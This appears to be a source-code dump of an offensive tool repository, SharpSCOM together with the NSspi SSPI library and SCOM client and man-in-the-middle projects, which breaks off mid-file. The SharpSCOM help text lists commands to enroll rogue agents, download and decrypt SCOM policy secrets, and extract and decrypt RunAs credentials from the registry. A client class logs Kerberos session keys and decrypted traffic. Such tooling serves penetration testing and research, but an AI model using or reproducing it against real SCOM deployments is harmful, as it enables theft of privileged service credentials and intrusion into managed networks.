25 | Console.WriteLine(" RegisterCertificate Assign a certificate to an existing agent");
26 | Console.WriteLine(" RequestPolicy Request policy from SCOM server");
27 | Console.WriteLine(" DownloadPolicy Download policy from SCOM server");
28 | Console.WriteLine(" AutoEnroll Send a multi-part request consisting of RegisterAgent, RegisterCertificate and RequestPolicy and attempt to automatically download the policy");
29 | Console.WriteLine(" DecryptPolicy Decrypt SecureData section from a policy file");
30 | Console.WriteLine(" DecryptRunAs Extract and decrypt RunAs credentials from registry");
31 | Console.WriteLine();
32 | Console.WriteLine("Common Options:");
33 | Console.WriteLine(" /hostname: Computer hostname (default: current machine)");
34 | Console.WriteLine(" /managementgroup: SCOM management group name");
35 | Console.WriteLine(" /server: SCOM server address");
36 | Console.WriteLine(" /port: SCOM server port (default: 5723)");
37 | Console.WriteLine(" /outfile: Output file path");
38 | Console.WriteLine(" /data: Base64-encoded data");
39 | Console.WriteLine(" /key: RSA private key in XML format");
40 | Console.WriteLine(" /verbose Enable verbose output");
41 | Console.WriteLine(" /help Show this help message");
42 | Console.WriteLine();
43 | Console.WriteLine("Examples:");
44 | Console.WriteLine(" SharpSCOM RegisterAgent /managementgroup:MG1 /server:scom.domain.com");
45 | Console.WriteLine(" SharpSCOM DecryptPolicy /data: /outfile:policy.xml");
46 | Console.WriteLine(" SharpSCOM DecryptRunAs");
47 | Console.WriteLine();
48 | }
49 | }
50 | }
51 |
52 |
--------------------------------------------------------------------------------
/nsspi/NSspi/Contexts/ImpersonationHandle.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Security.Principal;
3 | using System.Threading;
4 |
5 | namespace NSspi.Contexts
6 | {
7 | ///
8 | /// Represents impersonation performed on a server on behalf of a client.
9 | ///
10 | ///
11 | /// The handle controls the lifetime of impersonation, and will revert the impersonation
12 | /// if it is disposed, or if it is finalized ie by being leaked and garbage collected.
13 | ///
14 | /// If the handle is accidentally leaked while operations are performed on behalf of the user,
15 | /// impersonation may be reverted at any arbitrary time, perhaps during those operations.
16 | /// This may lead to operations being performed in the security context of the server,
17 | /// potentially leading to security vulnerabilities.
18 | ///
19 | public class ImpersonationHandle : IDisposable
20 | {
21 | private readonly ServerContext server;
22 |
23 | private bool disposed;
24 |
25 | ///
26 | /// Initializes a new instance of the ImpersonationHandle. Does not perform impersonation.
27 | ///
28 | /// The server context that is performing impersonation.
29 | internal ImpersonationHandle( ServerContext server )
30 | {
31 | this.server = server;
32 | this.disposed = false;
33 | }
34 |
35 | ///
36 | /// Finalizes the ImpersonationHandle by reverting the impersonation.
37 | ///
38 | ~ImpersonationHandle()
39 | {
40 | Dispose( false );
41 | }
42 |
43 | ///
44 | /// Reverts impersonation.
45 | ///
46 | public void Dispose()
47 | {
48 | Dispose( true );
49 | GC.SuppressFinalize( this );
50 | }
51 |
52 | ///
53 | /// Reverts impersonation.
54 | ///
55 | /// True if being disposed, false if being finalized.
56 | private void Dispose( bool disposing )
57 | {
58 | // This implements a variant of the typical dispose pattern. Always try to revert
59 | // impersonation, even if finalizing. Don't do anything if we're already reverted.
60 |
61 | if( this.disposed == false )
62 | {
63 | this.disposed = true;
64 |
65 | // Just in case the reference is being pulled out from under us, pull a stable copy
66 | // of the reference while we're null-checking.
67 | var serverCopy = this.server;
68 |
69 | if( serverCopy != null && serverCopy.Disposed == false )
70 | {
71 | serverCopy.RevertImpersonate();
72 | }
73 | }
74 | }
75 | }
76 | }
--------------------------------------------------------------------------------
/nsspi/NSspi.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio 15
4 | VisualStudioVersion = 16.0.28527.54
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "TestClient", "TestClient\TestClient.csproj", "{E93FBF1A-5198-44D6-BDF0-880D17F2B81A}"
7 | EndProject
8 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "TestProtocol", "TestProtocol\TestProtocol.csproj", "{9BFD94E1-D9FB-44D7-A6E7-8BAC2620E535}"
9 | EndProject
10 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "TestServer", "TestServer\TestServer.csproj", "{35B8280A-8EB1-4FB5-B448-B4E9F132317F}"
11 | EndProject
12 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "NSspi", "NSspi\NSspi.csproj", "{4B4CD933-BF62-4F92-B8FA-6771758C5197}"
13 | EndProject
14 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "NsspiDemo", "NsspiDemo\NsspiDemo.csproj", "{43FD19B6-656A-4AA1-9D3B-40B3A0C94084}"
15 | EndProject
16 | Global
17 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
18 | Debug|Any CPU = Debug|Any CPU
19 | Release|Any CPU = Release|Any CPU
20 | EndGlobalSection
21 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
22 | {E93FBF1A-5198-44D6-BDF0-880D17F2B81A}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
23 | {E93FBF1A-5198-44D6-BDF0-880D17F2B81A}.Debug|Any CPU.Build.0 = Debug|Any CPU
24 | {E93FBF1A-5198-44D6-BDF0-880D17F2B81A}.Release|Any CPU.ActiveCfg = Release|Any CPU
25 | {E93FBF1A-5198-44D6-BDF0-880D17F2B81A}.Release|Any CPU.Build.0 = Release|Any CPU
26 | {9BFD94E1-D9FB-44D7-A6E7-8BAC2620E535}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
27 | {9BFD94E1-D9FB-44D7-A6E7-8BAC2620E535}.Debug|Any CPU.Build.0 = Debug|Any CPU
28 | {9BFD94E1-D9FB-44D7-A6E7-8BAC2620E535}.Release|Any CPU.ActiveCfg = Release|Any CPU
29 | {9BFD94E1-D9FB-44D7-A6E7-8BAC2620E535}.Release|Any CPU.Build.0 = Release|Any CPU
30 | {35B8280A-8EB1-4FB5-B448-B4E9F132317F}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
31 | {35B8280A-8EB1-4FB5-B448-B4E9F132317F}.Debug|Any CPU.Build.0 = Debug|Any CPU
32 | {35B8280A-8EB1-4FB5-B448-B4E9F132317F}.Release|Any CPU.ActiveCfg = Release|Any CPU
33 | {35B8280A-8EB1-4FB5-B448-B4E9F132317F}.Release|Any CPU.Build.0 = Release|Any CPU
34 | {4B4CD933-BF62-4F92-B8FA-6771758C5197}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
35 | {4B4CD933-BF62-4F92-B8FA-6771758C5197}.Debug|Any CPU.Build.0 = Debug|Any CPU
36 | {4B4CD933-BF62-4F92-B8FA-6771758C5197}.Release|Any CPU.ActiveCfg = Release|Any CPU
37 | {4B4CD933-BF62-4F92-B8FA-6771758C5197}.Release|Any CPU.Build.0 = Release|Any CPU
38 | {43FD19B6-656A-4AA1-9D3B-40B3A0C94084}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
39 | {43FD19B6-656A-4AA1-9D3B-40B3A0C94084}.Debug|Any CPU.Build.0 = Debug|Any CPU
40 | {43FD19B6-656A-4AA1-9D3B-40B3A0C94084}.Release|Any CPU.ActiveCfg = Release|Any CPU
41 | {43FD19B6-656A-4AA1-9D3B-40B3A0C94084}.Release|Any CPU.Build.0 = Release|Any CPU
42 | EndGlobalSection
43 | GlobalSection(SolutionProperties) = preSolution
44 | HideSolutionNode = FALSE
45 | EndGlobalSection
46 | EndGlobal
47 |
--------------------------------------------------------------------------------
/nsspi/NSspi/SecureBuffer/SecureBuffer.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Runtime.InteropServices;
3 |
4 | namespace NSspi.Buffers
5 | {
6 | ///
7 | /// Represents a native SecureBuffer structure, which is used for communicating
8 | /// buffers to the native APIs.
9 | ///
10 | [StructLayout( LayoutKind.Sequential )]
11 | internal struct SecureBufferInternal
12 | {
13 | ///
14 | /// When provided to the native API, the total number of bytes available in the buffer.
15 | /// On return from the native API, the number of bytes that were filled or used by the
16 | /// native API.
17 | ///
18 | public int Count;
19 |
20 | ///
21 | /// The type or purpose of the buffer.
22 | ///
23 | public BufferType Type;
24 |
25 | ///
26 | /// An pointer to a pinned byte[] buffer.
27 | ///
28 | public IntPtr Buffer;
29 | }
30 |
31 | ///
32 | /// Stores buffers to provide tokens and data to the native SSPI APIs.
33 | ///
34 | /// The buffer is translated into a SecureBufferInternal for the actual call.
35 | /// To keep the call setup code simple, and to centralize the buffer pinning code,
36 | /// this class stores and returns buffers as regular byte arrays. The buffer
37 | /// pinning support code in SecureBufferAdapter handles conversion to SecureBufferInternal
38 | /// for pass to the managed api, as well as pinning relevant chunks of memory.
39 | ///
40 | /// Furthermore, the native API may not use the entire buffer, and so a mechanism
41 | /// is needed to communicate the usage of the buffer separate from the length
42 | /// of the buffer.
43 | internal class SecureBuffer
44 | {
45 | ///
46 | /// Initializes a new instance of the SecureBuffer class.
47 | ///
48 | /// The buffer to wrap.
49 | /// The type or purpose of the buffer, for purposes of
50 | /// invoking the native API.
51 | public SecureBuffer( byte[] buffer, BufferType type )
52 | {
53 | this.Buffer = buffer;
54 | this.Type = type;
55 | this.Length = this.Buffer.Length;
56 | }
57 |
58 | ///
59 | /// The type or purposes of the API, for invoking the native API.
60 | ///
61 | public BufferType Type { get; set; }
62 |
63 | ///
64 | /// The buffer to provide to the native API.
65 | ///
66 | public byte[] Buffer { get; set; }
67 |
68 | ///
69 | /// The number of elements that were actually filled or used by the native API,
70 | /// which may be less than the total length of the buffer.
71 | ///
72 | public int Length { get; internal set; }
73 | }
74 | }
--------------------------------------------------------------------------------
/nsspi/NSspi/EnumMgr.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Reflection;
3 |
4 | namespace NSspi
5 | {
6 | ///
7 | /// Tags an enumeration member with a string that can be programmatically accessed.
8 | ///
9 | [AttributeUsage( AttributeTargets.Field )]
10 | public class EnumStringAttribute : Attribute
11 | {
12 | ///
13 | /// Initializes a new instance of the class.
14 | ///
15 | /// The string to associate with the enumeration member.
16 | public EnumStringAttribute( string text )
17 | {
18 | this.Text = text;
19 | }
20 |
21 | ///
22 | /// Gets the string associated with the enumeration member.
23 | ///
24 | public string Text { get; private set; }
25 | }
26 |
27 | ///
28 | /// Converts betwen enumeration members and the strings associated to the members through the
29 | /// type.
30 | ///
31 | public class EnumMgr
32 | {
33 | ///
34 | /// Gets the text associated with the given enumeration member through a .
35 | ///
36 | ///
37 | ///
38 | public static string ToText( Enum value )
39 | {
40 | FieldInfo field = value.GetType().GetField( value.ToString() );
41 |
42 | EnumStringAttribute[] attribs = (EnumStringAttribute[])field.GetCustomAttributes( typeof( EnumStringAttribute ), false );
43 |
44 | if( attribs == null || attribs.Length == 0 )
45 | {
46 | return null;
47 | }
48 | else
49 | {
50 | return attribs[0].Text;
51 | }
52 | }
53 |
54 | ///
55 | /// Returns the enumeration member that is tagged with the given text using the type.
56 | ///
57 | /// The enumeration type to inspect.
58 | ///
59 | ///
60 | public static T FromText( string text )
61 | {
62 | FieldInfo[] fields = typeof( T ).GetFields();
63 |
64 | EnumStringAttribute[] attribs;
65 |
66 | foreach( FieldInfo field in fields )
67 | {
68 | attribs = (EnumStringAttribute[])field.GetCustomAttributes( typeof( EnumStringAttribute ), false );
69 |
70 | foreach( EnumStringAttribute attrib in attribs )
71 | {
72 | if( attrib.Text == text )
73 | {
74 | return (T)field.GetValue( null );
75 | }
76 | }
77 | }
78 |
79 | throw new ArgumentException( "Could not find a matching enumeration value for the text '" + text + "'." );
80 | }
81 | }
82 | }
--------------------------------------------------------------------------------
/nsspi/NSspi/ByteWriter.cs:
--------------------------------------------------------------------------------
1 | using System;
2 |
3 | namespace NSspi
4 | {
5 | ///
6 | /// Reads and writes value types to byte arrays with explicit endianness.
7 | ///
8 | public static class ByteWriter
9 | {
10 | // Big endian: Most significant byte at lowest address in memory.
11 |
12 | ///
13 | /// Writes a 2-byte signed integer to the buffer in big-endian format.
14 | ///
15 | /// The value to write to the buffer.
16 | /// The buffer to write to.
17 | /// The index of the first byte to write to.
18 | public static void WriteInt16_BE( Int16 value, byte[] buffer, int position )
19 | {
20 | buffer[position + 0] = (byte)( value >> 8 );
21 | buffer[position + 1] = (byte)( value );
22 | }
23 |
24 | ///
25 | /// Writes a 4-byte signed integer to the buffer in big-endian format.
26 | ///
27 | /// The value to write to the buffer.
28 | /// The buffer to write to.
29 | /// The index of the first byte to write to.
30 | public static void WriteInt32_BE( Int32 value, byte[] buffer, int position )
31 | {
32 | buffer[position + 0] = (byte)( value >> 24 );
33 | buffer[position + 1] = (byte)( value >> 16 );
34 | buffer[position + 2] = (byte)( value >> 8 );
35 | buffer[position + 3] = (byte)( value );
36 | }
37 |
38 | ///
39 | /// Reads a 2-byte signed integer that is stored in the buffer in big-endian format.
40 | /// The returned value is in the native endianness.
41 | ///
42 | /// The buffer to read.
43 | /// The index of the first byte to read.
44 | ///
45 | public static Int16 ReadInt16_BE( byte[] buffer, int position )
46 | {
47 | Int16 value;
48 |
49 | value = (Int16)( buffer[position + 0] << 8 );
50 | value += (Int16)( buffer[position + 1] );
51 |
52 | return value;
53 | }
54 |
55 | ///
56 | /// Reads a 4-byte signed integer that is stored in the buffer in big-endian format.
57 | /// The returned value is in the native endianness.
58 | ///
59 | /// The buffer to read.
60 | /// The index of the first byte to read.
61 | ///
62 | public static Int32 ReadInt32_BE( byte[] buffer, int position )
63 | {
64 | Int32 value;
65 |
66 | value = (Int32)( buffer[position + 0] << 24 );
67 | value |= (Int32)( buffer[position + 1] << 16 );
68 | value |= (Int32)( buffer[position + 2] << 8 );
69 | value |= (Int32)( buffer[position + 3] );
70 |
71 | return value;
72 | }
73 | }
74 | }
--------------------------------------------------------------------------------
/SharpSCOM/Program.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using SharpSCOM.Cmdline;
3 | using SharpSCOM.Commands;
4 | using SharpSCOM.Agent;
5 | using SharpSCOM.Common;
6 | using System.Security.Policy;
7 |
8 | namespace SharpSCOM
9 | {
10 | class Program
11 | {
12 | static void Main(string[] args)
13 | {
14 | try
15 | {
16 | // Parse arguments
17 | var parsedArgs = Options.ParseArgs(args);
18 | var commandName = args.Length != 0 ? args[0] : "";
19 |
20 | Info.ShowLogo();
21 |
22 | // Handle help or no command
23 | if (parsedArgs.ContainsKey("help") || string.IsNullOrEmpty(commandName))
24 | {
25 | Info.ShowUsage();
26 | return;
27 | }
28 |
29 | // Validate required arguments
30 | if (!Options.ValidateRequiredArgs(commandName, parsedArgs))
31 | {
32 | Info.ShowUsage();
33 | return;
34 | }
35 |
36 | // Get arguments
37 | var arguments = Options.ArgumentValues(parsedArgs);
38 | if (arguments == null)
39 | return;
40 |
41 | // Initialise cmdline logger
42 | LoggerFactory.Initialize(arguments.Verbose);
43 |
44 | // Set default hostname if not provided
45 | if (string.IsNullOrEmpty(arguments.Hostname) && !string.IsNullOrEmpty(arguments.Server))
46 | {
47 | arguments.Hostname = AgentCommon.GetCurrentHostnameFullyQualified();
48 | Console.WriteLine("[!] WARNING: No hostname provided, using current computer name");
49 | }
50 |
51 | // Display configuration
52 | if (!string.IsNullOrEmpty(arguments.Server))
53 | {
54 | Console.WriteLine($"[+] Using Hostname: {arguments.Hostname} ({AgentCommon.GetAgentGuidFromHostname(arguments.Hostname)})");
55 |
56 | if (!string.IsNullOrEmpty(arguments.ManagementGroup))
57 | {
58 | Console.WriteLine($"[+] Using Management Group: {arguments.ManagementGroup} ({AgentCommon.GetGuidFromString(arguments.ManagementGroup).ToString()})");
59 | }
60 |
61 | Console.WriteLine($"[+] Server: {arguments.Server}:{arguments.Port}");
62 | }
63 |
64 | // Create command collection and execute
65 | var commandCollection = new CommandCollection();
66 |
67 | if (!commandCollection.ExecuteCommand(commandName, arguments))
68 | {
69 | Console.WriteLine($"[!] Unknown command: {commandName}");
70 | Info.ShowUsage();
71 | }
72 | }
73 | catch (Exception ex)
74 | {
75 | Console.WriteLine($"[!] Fatal error: {ex.Message}");
76 | Console.WriteLine($"[!] Stack trace: {ex.StackTrace}");
77 | }
78 | }
79 | }
80 | }
81 |
--------------------------------------------------------------------------------
/nsspi/NSspi/SspiHandle.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Runtime.ConstrainedExecution;
3 | using System.Runtime.InteropServices;
4 |
5 | namespace NSspi
6 | {
7 | ///
8 | /// Represents the raw structure for any handle created for the SSPI API, for example, credential
9 | /// handles, context handles, and security package handles. Any SSPI handle is always the size
10 | /// of two native pointers.
11 | ///
12 | ///
13 | /// The documentation for SSPI handles can be found here:
14 | /// http://msdn.microsoft.com/en-us/library/windows/desktop/aa380495(v=vs.85).aspx
15 | ///
16 | /// This class is not reference safe - if used directly, or referenced directly, it may be leaked,
17 | /// or subject to finalizer races, or any of the hundred of things SafeHandles were designed to fix.
18 | /// Do not directly use this class - use only though SafeHandle wrapper objects. Any reference needed
19 | /// to this handle for performing work (InitializeSecurityContext, eg) should be performed a CER
20 | /// that employs handle reference counting across the native API invocation.
21 | ///
22 | [StructLayout( LayoutKind.Sequential, Pack = 1 )]
23 | internal struct RawSspiHandle
24 | {
25 | private IntPtr lowPart;
26 | private IntPtr highPart;
27 |
28 | ///
29 | /// Returns whether or not the handle is set to the default, empty value.
30 | ///
31 | ///
32 | public bool IsZero()
33 | {
34 | return this.lowPart == IntPtr.Zero && this.highPart == IntPtr.Zero;
35 | }
36 |
37 | ///
38 | /// Sets the handle to an invalid value.
39 | ///
40 | ///
41 | /// This method is executed in a CER during handle release.
42 | ///
43 | [ReliabilityContract( Consistency.WillNotCorruptState, Cer.Success )]
44 | public void SetInvalid()
45 | {
46 | this.lowPart = IntPtr.Zero;
47 | this.highPart = IntPtr.Zero;
48 | }
49 | }
50 |
51 | ///
52 | /// Safely encapsulates a raw handle used in the SSPI api.
53 | ///
54 | public abstract class SafeSspiHandle : SafeHandle
55 | {
56 | internal RawSspiHandle rawHandle;
57 |
58 | ///
59 | /// Initializes a new instance of the class.
60 | ///
61 | protected SafeSspiHandle()
62 | : base( IntPtr.Zero, true )
63 | {
64 | this.rawHandle = new RawSspiHandle();
65 | }
66 |
67 | ///
68 | /// Gets whether the handle is invalid.
69 | ///
70 | public override bool IsInvalid
71 | {
72 | get { return IsClosed || this.rawHandle.IsZero(); }
73 | }
74 |
75 | ///
76 | /// Marks the handle as no longer being in use.
77 | ///
78 | ///
79 | [ReliabilityContract( Consistency.WillNotCorruptState, Cer.Success )]
80 | protected override bool ReleaseHandle()
81 | {
82 | this.rawHandle.SetInvalid();
83 | return true;
84 | }
85 | }
86 | }
--------------------------------------------------------------------------------
/nsspi/NSspi/Credentials/PasswordCredential.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Runtime.CompilerServices;
5 | using System.Text;
6 |
7 | namespace NSspi.Credentials
8 | {
9 | ///
10 | /// Represents credentials acquired by providing a username, password, and domain.
11 | ///
12 | public class PasswordCredential : Credential
13 | {
14 | ///
15 | /// Initializes a new instance of the PasswordCredential class.
16 | ///
17 | ///
18 | /// It is possible to acquire a valid handle to credentials that do not provide a valid
19 | /// username-password combination. The username and password are not validation until the
20 | /// authentication cycle begins.
21 | ///
22 | /// The domain to authenticate to.
23 | /// The username of the user to authenticate as.
24 | /// The user's password.
25 | /// The SSPI security package to create credentials for.
26 | ///
27 | /// Specify inbound when acquiring credentials for a server; outbound for a client.
28 | ///
29 | public PasswordCredential( string domain, string username, string password, string secPackage, CredentialUse use )
30 | : base( secPackage )
31 | {
32 | NativeAuthData authData = new NativeAuthData( domain, username, password, NativeAuthDataFlag.Unicode );
33 |
34 | Init( authData, secPackage, use );
35 | }
36 |
37 | private void Init( NativeAuthData authData, string secPackage, CredentialUse use )
38 | {
39 | string packageName;
40 | TimeStamp rawExpiry = new TimeStamp();
41 | SecurityStatus status = SecurityStatus.InternalError;
42 |
43 | // -- Package --
44 | // Copy off for the call, since this.SecurityPackage is a property.
45 | packageName = this.SecurityPackage;
46 |
47 | this.Handle = new SafeCredentialHandle();
48 |
49 |
50 | // The finally clause is the actual constrained region. The VM pre-allocates any stack space,
51 | // performs any allocations it needs to prepare methods for execution, and postpones any
52 | // instances of the 'uncatchable' exceptions (ThreadAbort, StackOverflow, OutOfMemory).
53 | RuntimeHelpers.PrepareConstrainedRegions();
54 | try { }
55 | finally
56 | {
57 | status = CredentialNativeMethods.AcquireCredentialsHandle_AuthData(
58 | null,
59 | packageName,
60 | use,
61 | IntPtr.Zero,
62 | ref authData,
63 | IntPtr.Zero,
64 | IntPtr.Zero,
65 | ref this.Handle.rawHandle,
66 | ref rawExpiry
67 | );
68 | }
69 |
70 | if( status != SecurityStatus.OK )
71 | {
72 | throw new SSPIException( "Failed to call AcquireCredentialHandle", status );
73 | }
74 |
75 | this.Expiry = rawExpiry.ToDateTime();
76 | }
77 | }
78 | }
79 |
--------------------------------------------------------------------------------
/SharpSCOM/Common/AgentCommon.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Net.NetworkInformation;
5 | using System.Net;
6 | using System.Security.Cryptography;
7 | using System.Text;
8 | using System.Threading.Tasks;
9 |
10 | namespace SharpSCOM.Common
11 | {
12 | class AgentCommon
13 | {
14 | public static string GetCurrentHostnameFullyQualified()
15 | {
16 | string hostName = Dns.GetHostName();
17 | IPHostEntry hostEntry = Dns.GetHostEntry(hostName);
18 | return hostEntry.HostName;
19 | }
20 |
21 | public static Guid GetAgentGuidFromHostname(string hostname)
22 | {
23 | return GetGuidFromString($"TypeId={{AB4C891F-3359-3FB6-0704-075FBFE36710}},{{5C324096-D928-76DB-E9E7-E629DCC261B1}}={hostname.ToUpper()}");
24 | }
25 |
26 | public static Guid GetGuidFromString(string textToHash)
27 | {
28 | bool isFipsEnforcementEnabled = false;
29 |
30 | SHA1 shA1;
31 | if (!isFipsEnforcementEnabled)
32 | {
33 | try
34 | {
35 | shA1 = (SHA1)new SHA1Managed();
36 | }
37 | catch (InvalidOperationException ex)
38 | {
39 | isFipsEnforcementEnabled = true;
40 | shA1 = (SHA1)new SHA1CryptoServiceProvider();
41 | }
42 | }
43 | else
44 | shA1 = (SHA1)new SHA1CryptoServiceProvider();
45 | byte[] hash;
46 | using (shA1)
47 | {
48 | UnicodeEncoding unicodeEncoding = new UnicodeEncoding();
49 | byte[] buffer = textToHash != null ? unicodeEncoding.GetBytes(textToHash.ToString()) : unicodeEncoding.GetBytes("".ToString());
50 | hash = shA1.ComputeHash(buffer);
51 | }
52 | return new Guid((int)hash[3] << 24 | (int)hash[2] << 16 | (int)hash[1] << 8 | (int)hash[0], (short)((int)hash[5] << 8 | (int)hash[4]), (short)((int)hash[7] << 8 | (int)hash[6]), hash[8], hash[9], hash[10], hash[11], hash[12], hash[13], hash[14], hash[15]);
53 | }
54 |
55 | public static byte[] GenerateDownloadGuid()
56 | {
57 | Guid guid = Guid.NewGuid();
58 |
59 | // Get the GUID as a string without hyphens (32 chars)
60 | string guidString = guid.ToString("N").ToUpper();
61 |
62 | // Insert spaces between each pair of hex digits
63 | string spacedGuid = string.Join(" ",
64 | Enumerable.Range(0, guidString.Length / 2)
65 | .Select(i => guidString.Substring(i * 2, 2)));
66 |
67 | // Convert to UTF-16LE bytes
68 | byte[] utf16Bytes = Encoding.Unicode.GetBytes(spacedGuid);
69 |
70 | // Create output array with space for null terminator
71 | byte[] result = new byte[utf16Bytes.Length + 2];
72 | Array.Copy(utf16Bytes, 0, result, 0, utf16Bytes.Length);
73 | result[utf16Bytes.Length] = 0x00;
74 | result[utf16Bytes.Length + 1] = 0x00;
75 |
76 | return result;
77 | }
78 | public static byte[] GenerateAgentTimestamp()
79 | {
80 | long fileTime64 = DateTime.UtcNow.ToFileTimeUtc();
81 |
82 | // Split into high part
83 | uint dwHighDateTime = (uint)(fileTime64 >> 32);
84 |
85 | // Method 1: Convert to byte array (8 bytes total)
86 | byte[] fileTimeBytes = new byte[4];
87 |
88 | // High DWORD (next 4 bytes)
89 | fileTimeBytes[0] = (byte)(dwHighDateTime & 0xFF);
90 | fileTimeBytes[1] = (byte)((dwHighDateTime >> 8) & 0xFF);
91 | fileTimeBytes[2] = (byte)((dwHighDateTime >> 16) & 0xFF);
92 | fileTimeBytes[3] = (byte)((dwHighDateTime >> 24) & 0xFF);
93 |
94 | return fileTimeBytes;
95 | }
96 | }
97 | }
98 |
--------------------------------------------------------------------------------
/SCOMClient/ClientContextManager.cs:
--------------------------------------------------------------------------------
1 | using SCOM_MiTM;
2 | using System;
3 | using System.Collections.Generic;
4 | using System.Linq;
5 | using System.Net.Sockets;
6 | using System.Text;
7 | using System.Threading.Tasks;
8 | using NSspi;
9 | using NSspi.Contexts;
10 | using NSspi.Credentials;
11 |
12 | namespace SCOMClient
13 | {
14 | class ClientContextManager
15 | {
16 | private readonly ClientCurrentCredential _credential;
17 | private ClientContext _context;
18 |
19 | public ClientContextManager()
20 | {
21 | _credential = new ClientCurrentCredential(PackageNames.Kerberos);
22 | }
23 |
24 | public ClientContext CreateContext(string remoteServer)
25 | {
26 | _context = new ClientContext(
27 | _credential,
28 | $"MSOMHSvc/{remoteServer}",
29 | ContextAttrib.MutualAuth |
30 | ContextAttrib.InitIdentify |
31 | ContextAttrib.Confidentiality |
32 | ContextAttrib.ReplayDetect |
33 | ContextAttrib.SequenceDetect |
34 | ContextAttrib.Connection |
35 | ContextAttrib.Delegate
36 | );
37 |
38 | return _context;
39 | }
40 |
41 | public ClientContext ProcessInitialRequest(NetworkStream stream, string remoteServer)
42 | {
43 | byte[] clientToken;
44 | SecurityStatus status = _context.Init(null, out clientToken);
45 |
46 | byte[] apReq = MessageGenerator.GenerateApReq(clientToken);
47 | stream.Write(apReq, 0, apReq.Length);
48 | stream.Flush();
49 |
50 | byte[] serverToken = MessageParser.ParseApRep(stream);
51 |
52 | while (true)
53 | {
54 | status = _context.Init(serverToken, out clientToken);
55 | if (status != SecurityStatus.ContinueNeeded) break;
56 | }
57 |
58 | Console.WriteLine($"Client authority: {_context.AuthorityName}");
59 | Console.WriteLine($"Client context user: {_context.ContextUserName}");
60 | Console.WriteLine($"Client session key: {BitConverter.ToString(_context.QuerySessionKey())}");
61 |
62 | return _context;
63 | }
64 |
65 | public byte[] EncryptWrapToken(byte[] plaintext)
66 | {
67 | byte[] ciphertext = MessageParser.SwapBytes(_context.Encrypt(plaintext));
68 |
69 | Console.WriteLine($"[AGENT >>>>>> SCOM] [ENCRYPT] plaintext wrap token (base64): {Convert.ToBase64String(plaintext)}");
70 | Console.WriteLine($"[AGENT >>>>>> SCOM] [ENCRYPT] zlib decompressed wrap token (base64): {Convert.ToBase64String(MessageParser.ParseDecWrapToken(plaintext))}");
71 |
72 | return ciphertext;
73 |
74 | }
75 |
76 | public byte[] DecryptWrapToken(NetworkStream stream)
77 | {
78 | byte[] wrapToken = MessageParser.ParseKerbWrapToken(stream);
79 | byte[] plaintext = _context.Decrypt(MessageParser.SwapBytes(wrapToken));
80 |
81 | try
82 | {
83 | Console.WriteLine($"[AGENT <<<<<<<<< SCOM] [DECRYPT] plaintext wrap token (base64): {Convert.ToBase64String(plaintext)}");
84 | Console.WriteLine($"[AGENT <<<<<<<<< SCOM] [DECRYPT] zlib decompressed wrap token (base64): {Convert.ToBase64String(MessageParser.ParseDecWrapToken(plaintext))}");
85 | //Console.WriteLine($"[SERVER <<<<<<<<< SCOM] [DECRYPT] decompressed kerb wrap token zlib: {BitConverter.ToString(MessageParser.ParseDecWrapToken(plaintext))}");
86 | //Console.WriteLine($"[SERVER <<<<<<<<< SCOM] [DECRYPT] decompressed kerb wrap token zlib unicode: {Encoding.Unicode.GetString(MessageParser.ParseDecWrapToken(plaintext))}");
87 | }
88 | catch (Exception e)
89 | {
90 | Console.WriteLine(e.Message);
91 | }
92 |
93 | return plaintext;
94 | }
95 | }
96 | }
97 |
--------------------------------------------------------------------------------
/SCOM_MiTM/MessageGenerator.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 | using System.Threading.Tasks;
6 |
7 | namespace SCOM_MiTM
8 | {
9 | static class MessageGenerator
10 | {
11 | public static byte[] GenerateApReq(byte[] clientToken)
12 | {
13 | // SCOM headers
